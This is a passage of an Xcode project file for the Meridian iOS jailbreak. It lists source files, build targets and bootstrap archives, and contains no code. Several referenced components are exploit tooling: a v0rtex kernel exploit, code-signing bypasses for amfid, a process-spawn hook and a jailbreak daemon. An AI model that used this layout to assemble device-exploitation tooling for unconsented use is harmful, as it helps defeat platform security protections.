};\n\t\tB52F29232051E33500F4EB57 /* Working_with_libjailbreak.md */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = net.daringfireball.markdown; name = Working_with_libjailbreak.md; path = ../Working_with_libjailbreak.md; sourceTree = \"<group>\"; };\n\t\tB52F29262051F10800F4EB57 /* fucksigningservices.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = fucksigningservices.h; sourceTree = \"<group>\"; };\n\t\tB52F29272051F10800F4EB57 /* fucksigningservices.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = fucksigningservices.m; sourceTree = \"<group>\"; };\n\t\tB5370198202EABFF004E5E5C /* installer-base.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = \"installer-base.tar\"; sourceTree = \"<group>\"; };\n\t\tB537019A202EB4BF004E5E5C /* dpkgdb-base.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = \"dpkgdb-base.tar\"; sourceTree = \"<group>\"; };\n\t\tB56929D6203708020044FF60 /* jailbreak.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = jailbreak.m; sourceTree = \"<group>\"; };\n\t\tB56929D82037080D0044FF60 /* jailbreak.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = jailbreak.h; sourceTree = \"<group>\"; };\n\t\tB5783DB1210DDBE0004339F8 /* nonce.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = nonce.m; sourceTree = \"<group>\"; };\n\t\tB5783DB3210DDC79004339F8 /* iokit.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = iokit.h; sourceTree = \"<group>\"; };\n\t\tB5783DB4210DDE62004339F8 /* nonce.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = nonce.h; sourceTree = \"<group>\"; };\n\t\tB57A06C2202CDC8B00ACDB9D /* create-meridian-bootstrap.sh */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.script.sh; path = \"create-meridian-bootstrap.sh\"; sourceTree = \"<group>\"; };\n\t\tB57A06E4202CDF9100ACDB9D /* meridian-bootstrap */ = {isa = PBXFileReference; lastKnownFileType = folder; path = \"meridian-bootstrap\"; sourceTree = \"<group>\"; };\n\t\tB57A06E6202CEDF500ACDB9D /* cydia-base.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = \"cydia-base.tar\"; sourceTree = \"<group>\"; };\n\t\tB57A06E7202CEDF500ACDB9D /* optional-base.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = \"optional-base.tar\"; sourceTree = \"<group>\"; };\n\t\tB57A06E8202CEDF500ACDB9D /* system-base.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = \"system-base.tar\"; sourceTree = \"<group>\"; };\n\t\tB57A06E9202CEDF500ACDB9D /* meridian-base.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = \"meridian-base.tar\"; sourceTree = \"<group>\"; };\n\t\tB57A06EE202CF4F300ACDB9D /* tar.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = tar.tar; sourceTree = \"<group>\"; };\n\t\tB57CBF60205DA3DF00EEDA20 /* jailbreak_daemonUser.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = jailbreak_daemonUser.c; sourceTree = \"<group>\"; };\n\t\tB57CBF65205DB35F00EEDA20 /* fishhook */ = {isa = PBXFileReference; lastKnownFileType = folder; path = fishhook; sourceTree = \"<group>\"; };\n\t\tB57F7853212149FE008A3DEF /* jailbreak_daemonUser.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = jailbreak_daemonUser.h; sourceTree = \"<group>\"; };\n\t\tB582405D1FF75A4000D96DB5 /* helpers.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = helpers.h; sourceTree = \"<group>\"; };\n\t\tB582405E1FF75A4000D96DB5 /* helpers.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = helpers.m; sourceTree = \"<group>\"; };\n\t\tB584C54920376BCA00BF4118 /* untar.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = untar.m; sourceTree = \"<group>\"; };\n\t\tB584C54B20376BD200BF4118 /* untar.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = untar.h; sourceTree = \"<group>\"; };\n\t\tB585494920A64F8F00107CF2 /* nvpatch.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = nvpatch.h; sourceTree = \"<group>\"; };\n\t\tB585494A20A64F8F00107CF2 /* nvpatch.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = nvpatch.c; sourceTree = \"<group>\"; };\n\t\tB585F414205198DF0049C703 /* liboffsetfinder64.hpp */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; path = liboffsetfinder64.hpp; sourceTree = \"<group>\"; };\n\t\tB585F4172051993E0049C703 /* offsetfinder.mm */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.objcpp; path = offsetfinder.mm; sourceTree = \"<group>\"; };\n\t\tB585F41920519B7E0049C703 /* offsetfinder.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = offsetfinder.h; sourceTree = \"<group>\"; };\n\t\tB585F41E20519DB30049C703 /* libplist++.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = \"libplist++.a\"; sourceTree = \"<group>\"; };\n\t\tB585F41F20519DB30049C703 /* libplist.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = libplist.a; sourceTree = \"<group>\"; };\n\t\tB585F42020519DB40049C703 /* libimg4tool.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = libimg4tool.a; sourceTree = \"<group>\"; };\n\t\tB589517E201D07DB002E0EAD /* amfid */ = {isa = PBXFileReference; lastKnownFileType = folder; path = amfid; sourceTree = \"<group>\"; };\n\t\tB5895186201D15E7002E0EAD /* pspawn_hook */ = {isa = PBXFileReference; lastKnownFileType = folder; path = pspawn_hook; sourceTree = \"<group>\"; };\n\t\tB589518C201D4018002E0EAD /* jailbreakd */ = {isa = PBXFileReference; lastKnownFileType = folder; path = jailbreakd; sourceTree = \"<group>\"; };\n\t\tB59532711FFE2B5000022CEE /* README.md */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = net.daringfireball.markdown; name = README.md; path = ../README.md; sourceTree = \"<group>\"; };\n\t\tB5A034FC210D162900C0E52E /* preferences.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = preferences.m; sourceTree = \"<group>\"; };\n\t\tB5A034FE210D16D600C0E52E /* preferences.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = preferences.h; sourceTree = \"<group>\"; };\n\t\tB5A4EA94205F14CD00B32F89 /* meridian-bootstrap.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = \"meridian-bootstrap.tar\"; sourceTree = \"<group>\"; };\n\t\tB5B7C29F1FF2BA100087619A /* main.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = \"<group>\"; };\n\t\tB5B7C2AA1FF2C7860087619A /* IOKit.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = IOKit.framework; path = ../../../../../../System/Library/Frameworks/IOKit.framework; sourceTree = \"<group>\"; };\n\t\tB5B7C2B51FF353970087619A /* v0rtex.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = v0rtex.m; sourceTree = \"<group>\"; xcLanguageSpecificationIdentifier = xcode.lang.c; };\n\t\tB5B7C2B61FF353980087619A /* v0rtex.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = v0rtex.h; sourceTree = \"<group>\"; };\n\t\tB5B9E03A2060280400FEA273 /* build_time */ = {isa = PBXFileReference; lastKnownFileType = text; name = build_time; path = Meridian/build_time; sourceTree = \"<group>\"; };\n\t\tB5C4FBD82052E67700F82D43 /* SettingsController.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = SettingsController.h; sourceTree = \"<group>\"; };\n\t\tB5C4FBD92052E67700F82D43 /* SettingsController.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = SettingsController.m; sourceTree = \"<group>\"; };\n\t\tB5DF1ABF20597A120090B4B5 /* liboffsetfinder64.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = liboffsetfinder64.a; sourceTree = \"<group>\"; };\n\t\tB5DF1AC12059C0E20090B4B5 /* libmerged.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = libmerged.a; sourceTree = \"<group>\"; };\n\t\tB5DF1AC32059C14E0090B4B5 /* libcompression.tbd */ = {isa = PBXFileReference; lastKnownFileType = \"sourcecode.text-based-dylib-definition\"; name = libcompression.tbd; path = usr/lib/libcompression.tbd; sourceTree = SDKROOT; };\n\t\tB5F7CCCF204A29320051F4A7 /* LICENSE.md */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = net.daringfireball.markdown; name = LICENSE.md; path = ../LICENSE.md; sourceTree = \"<group>\"; };\n\t\tB5FDF8EC206EF4880074A075 /* offsetdump.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = offsetdump.h; sourceTree = \"<group>\"; };\n\t\tEE45BD8D20C2DEDE00D627C0 /* CreditsController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = CreditsController.h; sourceTree = \"<group>\"; };\n\t\tEE45BD8E20C2DEDE00D627C0 /* CreditsController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = CreditsController.m; sourceTree = \"<group>\"; };\n/* End PBXFileReference section */\n\n/* Begin PBXFrameworksBuildPhase section */\n\t\tB514CC731FECD788005F4E6B /* Frameworks */ = {\n\t\t\tisa = PBXFrameworksBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t\tB5DF1AC42059C14E0090B4B5 /* libcompression.tbd in Frameworks */,\n\t\t\t\tB52F29152051C82800F4EB57 /* libimg4tool.a in Frameworks */,\n\t\t\t\tB52F29172051C82800F4EB57 /* libplist.a in Frameworks */,\n\t\t\t\tB52F29182051C82800F4EB57 /* libplist++.a in Frameworks */,\n\t\t\t\tB5B7C2AB1FF2C7860087619A /* IOKit.framework in Frameworks */,\n\t\t\t\tB5DF1AC020597A120090B4B5 /* liboffsetfinder64.a in Frameworks */,\n\t\t\t\tB5DF1AC22059C0E20090B4B5 /* libmerged.a in Frameworks */,\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n/* End PBXFrameworksBuildPhase section */\n\n/* Begin PBXGroup section */\n\t\tB50F79671FF224F0000D6015 /* views */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tB514CC871FECD788005F4E6B /* Info.plist */,\n\t\t\t\tB514CC791FECD788005F4E6B /* AppDelegate.h */,\n\t\t\t\tB50F794A1FF2248B000D6015 /* AppDelegate.m */,\n\t\t\t\tB5C4FBD82052E67700F82D43 /* SettingsController.h */,\n\t\t\t\tB5C4FBD92052E67700F82D43 /* SettingsController.m */,\n\t\t\t\tEE45BD8D20C2DEDE00D627C0 /* CreditsController.h */,\n\t\t\t\tEE45BD8E20C2DEDE00D627C0 /* CreditsController.m */,\n\t\t\t\tB514CC7C1FECD788005F4E6B /* ViewController.h */,\n\t\t\t\tB514CC8F1FECDC71005F4E6B /* ViewController.m */,\n\t\t\t\tB514CC821FECD788005F4E6B /* Assets.xcassets */,\n\t\t\t\tB514CC7F1FECD788005F4E6B /* Main.storyboard */,\n\t\t\t\tB514CC841FECD788005F4E6B /* LaunchScreen.storyboard */,\n\t\t\t);\n\t\t\tpath = views;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tB514CC6D1FECD787005F4E6B = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tB5F7CCCF204A29320051F4A7 /* LICENSE.md */,\n\t\t\t\tB59532711FFE2B5000022CEE /* README.md */,\n\t\t\t\tB52F29232051E33500F4EB57 /* Working_with_libjailbreak.md */,\n\t\t\t\tB5B9E03A2060280400FEA273 /* build_time */,\n\t\t\t\tB589517E201D07DB002E0EAD /* amfid */,\n\t\t\t\tB57CBF65205DB35F00EEDA20 /* fishhook */,\n\t\t\t\tB589518C201D4018002E0EAD /* jailbreakd */,\n\t\t\t\tB5895186201D15E7002E0EAD /* pspawn_hook */,\n\t\t\t\tB514CC781FECD788005F4E6B /* Meridian */,\n\t\t\t\tB514CC771FECD788005F4E6B /* Products */,\n\t\t\t\tB5C368AD1FF2B80400D7724F /* Recovered References */,\n\t\t\t\tB5B7C2A31FF2C5CE0087619A /* Frameworks */,\n\t\t\t);\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tB514CC771FECD788005F4E6B /* Products */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tB514CC761FECD788005F4E6B /* Meridian.app */,\n\t\t\t);\n\t\t\tname = Products;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tB514CC781FECD788005F4E6B /* Meridian */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tB50F79671FF224F0000D6015 /* views */,\n\t\t\t\tB57A06B7202CDA9F00ACDB9D /* bootstrap */,\n\t\t\t\tB52F29252051E93A00F4EB57 /* patchfinders */,\n\t\t\t\tB5E98535205B4CE500AD1FEC /* helpers */,\n\t\t\t\tB57CBF5F205DA3DF00EEDA20 /* mach */,\n\t\t\t\tB50F794E1FF2248C000D6015 /* amfi.h */,\n\t\t\t\tB50F79531FF2248D000D6015 /* amfi.m */,\n\t\t\t\tB50F793B1FF2248A000D6015 /* common.h */,\n\t\t\t\tB56929D82037080D0044FF60 /* jailbreak.h */,\n\t\t\t\tB56929D6203708020044FF60 /* jailbreak.m */,\n\t\t\t\tB5A034FC210D162900C0E52E /* preferences.m */,\n\t\t\t\tB5A034FE210D16D600C0E52E /* preferences.h */,\n\t\t\t\tB50F79521FF2248C000D6015 /* root-rw.h */,\n\t\t\t\tB50F79461FF2248B000D6015 /* root-rw.m */,\n\t\t\t\tB5B7C2B61FF353980087619A /* v0rtex.h */,\n\t\t\t\tB5B7C2B51FF353970087619A /* v0rtex.m */,\n\t\t\t);\n\t\t\tpath = Meridian;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tB52F29252051E93A00F4EB57 /* patchfinders */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tB585F414205198DF0049C703 /* liboffsetfinder64.hpp */,\n\t\t\t\tB5FDF8EC206EF4880074A075 /* offsetdump.h */,\n\t\t\t\tB50D4C0E2122500800F61B82 /* offsetdump.m */,\n\t\t\t\tB585F41920519B7E0049C703 /* offsetfinder.h */,\n\t\t\t\tB585F4172051993E0049C703 /* offsetfinder.mm */,\n\t\t\t\tB50F794C1FF2248C000D6015 /* patchfinder64.h */,\n\t\t\t\tB50F79401FF2248B000D6015 /* patchfinder64.c */,\n\t\t\t);\n\t\t\tpath = patchfinders;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tB57A06B7202CDA9F00ACDB9D /* bootstrap */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tB57A06C2202CDC8B00ACDB9D /* create-meridian-bootstrap.sh */,\n\t\t\t\tB57A06E4202CDF9100ACDB9D /* meridian-bootstrap */,\n\t\t\t\tB57A06E6202CEDF500ACDB9D /* cydia-base.tar */,\n\t\t\t\tB537019A202EB4BF004E5E5C /* dpkgdb-base.tar */,\n\t\t\t\tB5370198202EABFF004E5E5C /* installer-base.tar */,\n\t\t\t\tB5A4EA94205F14CD00B32F89 /* meridian-bootstrap.tar */,\n\t\t\t\tB57A06E7202CEDF500ACDB9D /* optional-base.tar */,\n\t\t\t\tB57A06E8202CEDF500ACDB9D /* system-base.tar */,\n\t\t\t\tB57A06EE202CF4F300ACDB9D /* tar.tar */,\n\t\t\t);\n\t\t\tpath = bootstrap;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tB57CBF5F205DA3DF00EEDA20 /* mach */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tB57F7853212149FE008A3DEF /* jailbreak_daemonUser.h */,\n\t\t\t\tB57CBF60205DA3DF00EEDA20 /* jailbreak_daemonUser.c */,\n\t\t\t);\n\t\t\tpath = mach;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tB5B7C2A31FF2C5CE0087619A /* Frameworks */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tB5DF1AC32059C14E0090B4B5 /* libcompression.tbd */,\n\t\t\t\tB5DF1AC12059C0E20090B4B5 /* libmerged.a */,\n\t\t\t\tB5DF1ABF20597A120090B4B5 /* liboffsetfinder64.a */,\n\t\t\t\tB585F42020519DB40049C703 /* libimg4tool.a */,\n\t\t\t\tB585F41F20519DB30049C703 /* libplist.a */,\n\t\t\t\tB585F41E20519DB30049C703 /* libplist++.a */,\n\t\t\t\tB5B7C2AA1FF2C7860087619A /* IOKit.framework */,\n\t\t\t);\n\t\t\tname = Frameworks;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tB5C368AD1FF2B80400D7724F /* Recovered References */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tB50F79481FF2248B000D6015 /* main.m */,\n\t\t\t\tB57A06E9202CEDF500ACDB9D /* meridian-base.tar */,\n\t\t\t);\n\t\t\tname = \"Recovered References\";\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tB5E98535205B4CE500AD1FEC /* helpers */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tB52F29262051F10800F4EB57 /* fucksigningservices.h */,\n\t\t\t\tB52F29272051F10800F4EB57 /* fucksigningservices.m */,\n\t\t\t\tB582405D1FF75A4000D96DB5 /* helpers.h */,\n\t\t\t\tB582405E1FF75A4000D96DB5 /* helpers.m */,\n\t\t\t\tB5783DB3210DDC79004339F8 /* iokit.h */,\n\t\t\t\tB50F79511FF2248C000D6015 /* kernel.h */,\n\t\t\t\tB50F794F1FF2248C000D6015 /* kernel.m */,\n\t\t\t\tB5B7C29F1FF2BA100087619A /* main.m */,\n\t\t\t\tB5783DB4210DDE62004339F8 /* nonce.h */,\n\t\t\t\tB5783DB1210DDBE0004339F8 /* nonce.m */,\n\t\t\t\tB585494920A64F8F00107CF2 /* nvpatch.h */,\n\t\t\t\tB585494A20A64F8F00107CF2 /* nvpatch.c */,\n\t\t\t\tB584C54B20376BD200BF4118 /* untar.h */,\n\t\t\t\tB584C54920376BCA00BF4118 /* untar.m */,\n\t\t\t);\n\t\t\tpath = helpers;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n/* End PBXGroup section */\n\n/* Begin PBXLegacyTarget section */\n\t\tB5555EA6205438CA00D62F57 /* amfid */ = {\n\t\t\tisa = PBXLegacyTarget;\n\t\t\tbuildArgumentsString = \"$(ACTION)\";\n\t\t\tbuildConfigurationList = B5555EA7205438CA00D62F57 /* Build configuration list for PBXLegacyTarget \"amfid\" */;\n\t\t\tbuildPhases = (\n\t\t\t);\n\t\t\tbuildToolPath = /usr/bin/make;\n\t\t\tbuildWorkingDirectory = $SRCROOT/amfid;\n\t\t\tdependencies = (\n\t\t\t);\n\t\t\tname = amfid;\n\t\t\tpassBuildSettingsInEnvironment = 1;\n\t\t\tproductName = amfid;\n\t\t};\n\t\tB5555EAE205438F300D62F57 /* pspawn_hook */ = {\n\t\t\tisa = PBXLegacyTarget;\n\t\t\tbuildArgumentsString = \"$(ACTION)\";\n\t\t\tbuildConfigurationList = B5555EAF205438F300D62F57 /* Build configuration list for PBXLegacyTarget \"pspawn_hook\" */;\n\t\t\tbuildPhases = (\n\t\t\t);\n\t\t\tbuildToolPath = /usr/bin/make;\n\t\t\tbuildWorkingDirectory = $SRCROOT/pspawn_hook;\n\t\t\tdependencies = (\n\t\t\t);\n\t\t\tname = pspawn_hook;\n\t\t\tpassBuildSettingsInEnvironment = 1;\n\t\t\tproductName = pspawn_hook;\n\t\t};\n\t\tB5555EB22054390100D62F57 /* jailbreakd */ = {\n\t\t\tisa = PBXLegacyTarget;\n\t\t\tbuildArgumentsString = \"$(ACTION)\";\n\t\t\tbuildConfigurationList = B5555EB32054390100D62F57 /* Build configuration list for PBXLegacyTarget \"jailbreakd\" */;\n\t\t\tbuildPhases = (\n\t\t\t);\n\t\t\tbuildToolPath = /usr/bin/make;\n\t\t\tbuildWorkingDirectory = $SRCROOT/jailbreakd;\n\t\t\tdependencies = (\n\t\t\t);\n\t\t\tname = jailbreakd;\n\t\t\tpassBuildSettingsInEnvironment = 1;\n\t\t\tproductName = jailbreakd;\n\t\t};\n/* End PBXLegacyTarget section */\n\n/* Begin PBXNativeTarget section */\n\t\tB514CC751FECD788005F4E6B /* Meridian */ = {\n\t\t\tisa = PBXNativeTarget;\n\t\t\tbuildConfigurationList = B514CC8C1FECD788005F4E6B /* Build configuration list for PBXNativeTarget \"Meridian\" */;\n\t\t\tbuildPhases = (\n\t\t\t\tB52C43BB200BCC920047B1B4 /* ShellScript */,\n\t\t\t\tB5A4EA93205F0E2900B32F89 /* ShellScript */,\n\t\t\t\tB514CC721FECD788005F4E6B /* Sources */,\n\t\t\t\tB514CC731FECD788005F4E6B /* Frameworks */,\n\t\t\t\tB514CC741FECD788005F4E6B /* Resources */,\n\t\t\t);\n\t\t\tbuildRules = (\n\t\t\t);\n\t\t\tdependencies = (\n\t\t\t\tB5555EBB20543A4100D62F57 /* PBXTargetDependency */,\n\t\t\t\tB5555EC120543A4100D62F57 /* PBXTargetDependency */,\n\t\t\t\tB5555EBF20543A4100D62F57 /* PBXTargetDependency */,\n\t\t\t);\n\t\t\tname = Meridian;\n\t\t\tproductName = Meridian;\n\t\t\tproductReference = B514CC761FECD788005F4E6B /* Meridian.app */;\n\t\t\tproductType = \"com.apple.product-type.application\";\n\t\t};\n/* End PBXNativeTarget section */\n\n/* Begin PBXProject section */\n\t\tB514CC6E1FECD787005F4E6B /* Project object */ = {\n\t\t\tisa = PBXProject;\n\t\t\tattributes = {\n\t\t\t\tTargetAttributes = {\n\t\t\t\t\tB514CC751FECD788005F4E6B = {\n\t\t\t\t\t\tProvisioningStyle = Automatic;\n\t\t\t\t\t};\n\t\t\t\t\tB5555EA6205438CA00D62F57 = {\n\t\t\t\t\t\tProvisioningStyle = Automatic;\n\t\t\t\t\t};\n\t\t\t\t\tB5555EAE205438F300D62F57 = {\n\t\t\t\t\t\tProvisioningStyle = Automatic;\n\t\t\t\t\t};\n\t\t\t\t\tB5555EB22054390100D62F57 = {\n\t\t\t\t\t\tProvisioningStyle = Automatic;\n\t\t\t\t\t};\n\t\t\t\t};\n\t\t\t};\n\t\t\tbuildConfigurationList = B514CC711FECD787005F4E6B /* Build configuration list for PBXProject \"Meridian\" */;\n\t\t\tcompatibilityVersion = \"Xcode 8.0\";\n\t\t\tdevelopmentRegion = en;\n\t\t\thasScannedForEncodings = 0;\n\t\t\tknownRegions = (\n\t\t\t\ten,\n\t\t\t\tBase,\n\t\t\t);\n\t\t\tmainGroup = B514CC6D1FECD787005F4E6B;\n\t\t\tproductRefGroup = B514CC771FECD788005F4E6B /* Products */;\n\t\t\tprojectDirPath = \"\";\n\t\t\tprojectRoot = \"\";\n\t\t\ttargets = (\n\t\t\t\tB514CC751FECD788005F4E6B /* Meridian */,\n\t\t\t\tB5555EA6205438CA00D62F57 /* amfid */,\n\t\t\t\tB5555EAE205438F300D62F57 /* pspawn_hook */,\n\t\t\t\tB5555EB22054390100D62F57 /* jailbreakd */,\n\t\t\t);\n\t\t};\n/* End PBXProject section */\n\n/* Begin PBXResourcesBuildPhase section */\n\t\tB514CC741FECD788005F4E6B /* Resources */ = {\n\t\t\tisa = PBXResourcesBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t\tB5B9E03B2060280500FEA273 /* build_time in Resources */,\n\t\t\t\tB514CC831FECD788005F4E6B /* Assets.xcassets in Resources */,\n\t\t\t\tB514CC811FECD788005F4E6B /* Main.storyboard in Resources */,\n\t\t\t\tB514CC861FECD788005F4E6B /* LaunchScreen.storyboard in Resources */,\n\t\t\t\tB57A06EA202CEDF500ACDB9D /* cydia-base.tar in Resources */,\n\t\t\t\tB537019B202EB4BF004E5E5C /* dpkgdb-base.tar in Resources */,\n\t\t\t\tB5370199202EAC00004E5E5C /* installer-base.tar in Resources */,\n\t\t\t\tB57A06EB202CEDF500ACDB9D /* optional-base.tar in Resources */,\n\t\t\t\tB57A06EC202CEDF500ACDB9D /* system-base.tar in Resources */,\n\t\t\t\tB57A06EF202CF4F300ACDB9D /* tar.tar in Resources */,\n\t\t\t\tB5A4EA95205F14CE00B32F89 /* meridian-bootstrap.tar in Resources */,\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n/* End PBXResourcesBuildPhase section */\n\n/* Begin PBXShellScriptBuildPhase section */\n\t\tB52C43BB200BCC920047B1B4 /* ShellScript */ = {\n\t\t\tisa = PBXShellScriptBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t);\n\t\t\tinputPaths = (\n\t\t\t\t\"$(SRCROOT)/Meridian/bootstrap/create-meridian-bootstrap.sh\",\n\t\t\t);\n\t\t\toutputPaths = (\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t\tshellPath = /bin/sh;\n\t\t\tshellScript = \"for ((i=0; i<SCRIPT_INPUT_FILE_COUNT;i++))\\ndo\\n  inputFile=`eval echo '$SCRIPT_INPUT_FILE_'$i`\\n  echo Running $inputFile...\\n  `$inputFile`\\ndone\";\n\t\t};\n\t\tB5A4EA93205F0E2900B32F89 /* ShellScript */ = {\n\t\t\tisa = PBXShellScriptBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t);\n\t\t\tinputPaths = (\n\t\t\t\t\"$(SRCROOT)/Meridian/build_time\",\n\t\t\t);\n\t\t\toutputPaths = (\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t\tshellPath = /bin/sh;\n\t\t\tshellScript = \"date -R > $SCRIPT_INPUT_FILE_0\";\n\t\t};\n/* End PBXShellScriptBuildPhase section */\n\n/* Begin PBXSourcesBuildPhase section */\n\t\tB514CC721FECD788005F4E6B /* Sources */ = {\n\t\t\tisa = PBXSourcesBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t\tB50D4C0F2122500800F61B82 /* offsetdump.m in Sources */,\n\t\t\t\tB578A6542007FD8100C19091 /* v0rtex.m in Sources */,\n\t\t\t\tB5783DB2210DDBE0004339F8 /* nonce.m in Sources */,\n\t\t\t\tB582405F1FF75A4000D96DB5 /* helpers.m in Sources */,\n\t\t\t\tB584C54A20376BCB00BF4118 /* untar.m in Sources */,\n\t\t\t\tB56929D7203708030044FF60 /* jailbreak.m in Sources */,\n\t\t\t\tB5C4FBDC2052E67700F82D43 /* SettingsController.m in Sources */,\n\t\t\t\tB5B7C2A01FF2BA100087619A /* main.m in Sources */,\n\t\t\t\tB50F79641FF2248D000D6015 /* amfi.m in Sources */,\n\t\t\t\tB52F29282051F10800F4EB57 /* fucksigningservices.m in Sources */,\n\t\t\t\tB50F79631FF2248D000D6015 /* kernel.m in Sources */,\n\t\t\t\tB50F79601FF2248D000D6015 /* AppDelegate.m in Sources */,\n\t\t\t\tB585F4182051993E0049C703 /* offsetfinder.mm in Sources */,\n\t\t\t\tB57CBF62205DA3DF00EEDA20 /* jailbreak_daemonUser.c in Sources */,\n\t\t\t\tB5A034FD210D162900C0E52E /* preferences.m in Sources */,\n\t\t\t\tB514CC901FECDC71005F4E6B /* ViewController.m in Sources */,\n\t\t\t\tB50F79571FF2248D000D6015 /* patchfinder64.c in Sources */,\n\t\t\t\tB585494B20A64F8F00107CF2 /* nvpatch.c in Sources */,\n\t\t\t\tB50F795C1FF2248D000D6015 /* root-rw.m in Sources */,\n\t\t\t\tEE45BD8F20C2DEDE00D627C0 /* CreditsController.m in Sources */,\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n/* End PBXSourcesBuildPhase section */\n\n/* Begin PBXTargetDependency section */\n\t\tB5555EBB20543A4100D62F57 /* PBXTargetDependency */ = {\n\t\t\tisa = PBXTargetDependency;\n\t\t\ttarget = B5555EA6205438CA00D62F57 /* amfid */;\n\t\t\ttargetProxy = B5555EBA20543A4100D62F57 /* PBXContainerItemProxy */;\n\t\t};\n\t\tB5555EBF20543A4100D62F57 /* PBXTargetDependency */ = {\n\t\t\tisa = PBXTargetDependency;\n\t\t\ttarget = B5555EAE205438F300D62F57 /* pspawn_hook */;\n\t\t\ttargetProxy = B5555EBE20543A4100D62F57 /* PBXContainerItemProxy */;\n\t\t};\n\t\tB5555EC120543A4100D62F57 /* PBXTargetDependency */ = {\n\t\t\tisa = PBXTargetDependency;\n\t\t\ttarget = B5555EB22054390100D62F57 /* jailbreakd */;\n\t\t\ttargetProxy = B5555EC020543A4100D62F57 /* 